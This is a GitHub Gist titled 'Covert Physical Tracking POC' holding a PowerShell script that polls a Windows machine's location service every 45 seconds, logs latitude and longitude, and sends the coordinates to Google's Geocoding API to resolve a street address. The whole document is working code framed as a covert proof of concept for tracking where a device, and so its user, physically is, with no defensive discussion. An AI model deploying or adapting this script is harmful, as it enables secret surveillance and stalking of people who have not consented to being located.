Skip to content

Instantly share code, notes, and snippets.

@0xm0
Created March 28, 2021 08:06
Show Gist options
  • Save 0xm0/9f950cb9da14a5a8a48c0c883587cee6 to your computer and use it in GitHub Desktop.
Save 0xm0/9f950cb9da14a5a8a48c0c883587cee6 to your computer and use it in GitHub Desktop.
Covert Physical Tracking POC
$GoogleAPIKey = "Put your Google Geocoding API key between the quotes here"
Add-Type -AssemblyName System.Device
$GeoCoords = New-Object System.Device.Location.GeoCoordinateWatcher
$GeoCoords.Start()
while (($GeoCoords.Status -ne 'Ready') -and ($GeoCoords.Permission -ne 'Denied')) {
Start-Sleep -m 100
}
if ($GeoCoords.Permission -eq 'Denied'){
Write-Error 'Access Denied for Location Information'
} else {
$loopy = 1
while ($loopy -ne 1337)
{
$longitude = $GeoCoords.Position.Location.Longitude
$latitude = $GeoCoords.Position.Location.Latitude
$webClient = New-Object System.Net.WebClient
$timestamp = Get-Date -Format G
Write-host $timestamp " Lat:" $($latitude) " Long: "$($longitude)
$url = "https://maps.googleapis.com/maps/api/geocode/xml?latlng=$latitude,$longitude&sensor=true&key=$GoogleAPIKey"
$locationinfo = $webClient.DownloadString($url)
[xml]$doc = $locationinfo
# Verify the response
if ($doc.GeocodeResponse.status -eq "OK")
{
$street_address = $doc.GeocodeResponse.result | Select-Object -Property formatted_address, Type | Where-Object -Property Type -eq "street_address"
Write-host $timestamp " Address: " $street_address.formatted_address[0]
}
$loopy++
Start-Sleep -s 45
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment